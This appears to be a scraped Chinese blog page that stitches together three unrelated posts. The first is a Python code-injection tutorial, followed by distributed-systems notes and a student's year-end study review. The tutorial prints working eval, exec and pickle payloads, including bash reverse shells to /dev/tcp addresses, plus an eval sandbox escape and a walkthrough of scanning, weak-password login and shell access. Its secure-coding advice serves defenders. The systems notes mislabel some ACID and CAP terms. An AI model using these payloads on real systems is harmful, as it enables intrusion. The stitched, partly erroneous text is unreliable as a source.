0%

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数

1
>>> eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

1
>>> exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

1
>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

1
>>> execfile("testf.py")

pickle.loads()代码注入
某不安全的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session

注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)
0
>>>
[3]+ Stopped python

这些函数使用不当都很危险

os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
  2. 暴力破解登录名密码test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
  3. 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")

todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍

如何安全编码

  1. 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
  2. 使用ast.literal_eval()代替eval()
  3. 安全使用pickle

下面就着几个点来说一下:

eval()方法注释:

1
2
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

1
Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

使用ast.literal_eval()代替eval()对比:

1
2
3
4
5
6
7
ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string
eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

eval禁用全局或本地变量:

1
2
3
>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

寻找eval的突破点

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

1
2
3
4
5
6
7
8
9
(
lambda fc=(
lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
):
fc("function")(
fc("code")(
0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
{})()
)()

安全使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
... def __reduce__(self):
... s = "__import__('os').system('uname -a')"
... return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

如何提高安全编码意识?

参考资料

http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py

附录

nmap扫描部分结果

What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p : Only scan specified ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
1723/tcp open pptp Microsoft
8891/tcp open http nginx 1.4.4
9090/tcp closed zeus-admin
13228/tcp open http Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open unknown
64380/tcp open unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

反向Shell

http://os.51cto.com/art/201312/424378.htm

性能指标

  1. 吞度量
  2. 响应延迟 P95 P999
  3. 并发量

可用性指标

  1. 可提供的服务时间 / (可提供的服务时间 + 不可提供的服务时间)
  2. 请求成功次数 / 总请求次数

可扩展性指标

是否能实现水平扩展,通过增加服务器数量增加计算能力、存储容量等。

存储系统中有两种扩展方式:
Scale Out(也就是Scale horizontally)横向扩展,比如在原有系统中新增一台服务器。
Scale Up(也就是Scale vertically)纵向扩展,在原有机器上增加 CPU 、内存。

一致性指标

实现多副本之间一致性的能力。不同的应用场景对于数据一致性指标要求不同,需要根据场景做具体的评估。

水平拆分和垂直拆分

ACID

原子性(Atomicity)
一致性(Atomicity)
隔离性(Isolation)
持久性(Durability)

CAP(帽子理论)

一致性(Consistency)
可用性(Availability)
可靠性(Partition tolerance 分区容错性)

BASE

基本可用(Basically Available)
软状态(Soft State)
最终一致(Eventually Consistent)

分布式一致性协议

TX协议
XA协议

两阶段提交协议

三阶段提交协议

TCC

最终一致性模式

微弱的灯光驱散浓重的夜色,压低的歌声怕惊醒梦中人。

又是深夜,双手在键盘上飞舞,闪烁的光标不断向前推进,一行行的注释和代码呈现在屏幕上,对于我来说这便成为了一种习惯,喜欢在深夜学习编程,接触编程有两年半了,非睡眠状态下的大部分时间都贡献给了我手中这台笔记本电脑,现在被我的朋友称之为我的“媳妇”。哈哈,因为她对于我来说兴趣很浓,我从不迷恋游戏,只是偶尔玩玩,也很少购物,电影基本不看,只是偶尔听听歌,还是敲代码的时候。转眼这不又是要过年了,该来点总结了,看看都学了什么,有什么体会都要来写写的。

主要学习的语言是C#,两年半的时间大部分都是用C#在编程;当然对C++/Java也是比较熟悉的,给点代码也是能看懂什么意思的。对汇编语言也有所了解,目前正在学习中。
那下面就是要讲讲主攻技能.NET平台下的学习细节了:

  1. ASP.NET网站开发方面能做出个像模像样的网站,但是不能保证效率;熟悉三层架构,用的比较烂;对于难理解的HttpModule、HttpHandler有些了解。
  2. Winform方面百分之八十的控件能熟练使用,剩下的就是感觉不好用的了,这里的熟练使用是了解并使用过常用的属性、方法、事件。
  3. 再有就是关于多线程、网络编程、数字图像处理、单元测试等等升级技能也是用的比较不错,专门买过书学习过。

像一些附加技能的话如HTML/CSS用的还是比较不错的,至少能做出能拿得出手的网页去,各种效果咱不会写还不会“偷”吗,其实就是拷贝网上现有的呗。JS/jQuery这些吗,实话是没有怎么接触,也基本能写一点点的,都不好意思说了。不想走网站开发方面,感觉没有前途,也不好玩,就学了一年就止步了。

再有就是编程的基本功,像数据结构、操作系统、算法、数据库这些知识是学会六分左右,现在正在补习其余的四分,并且是努力的在夯实这方面欠缺的。至于软件工程的知识我觉得是先有所了解然后在工作中主键掌握并熟练运用。

最大的优点是对计算机软件技术充满了热情,乐死不疲的。各种好玩的新技术都想鼓捣一下,比如:Wifi共享、RamDisk、远程开机等等。

不足之处是不太爱说话,喜欢熬夜。

目前学习计划:

  • 数据结构+算法
  • Unity3D游戏开发

职业规划还木有想好,因为还未毕业,干嘛这么早就草率决定,等工作一两年之后再说呗,定居城市也是这样。但是目前来说不想一直走.NET发展路线,先打好基本功到时候好转行。

2014年,把前半年的时间用在刀刃上,学习的技能放在毕业找的工作方面。另外要努力学习英语,这个也是个大大的重点。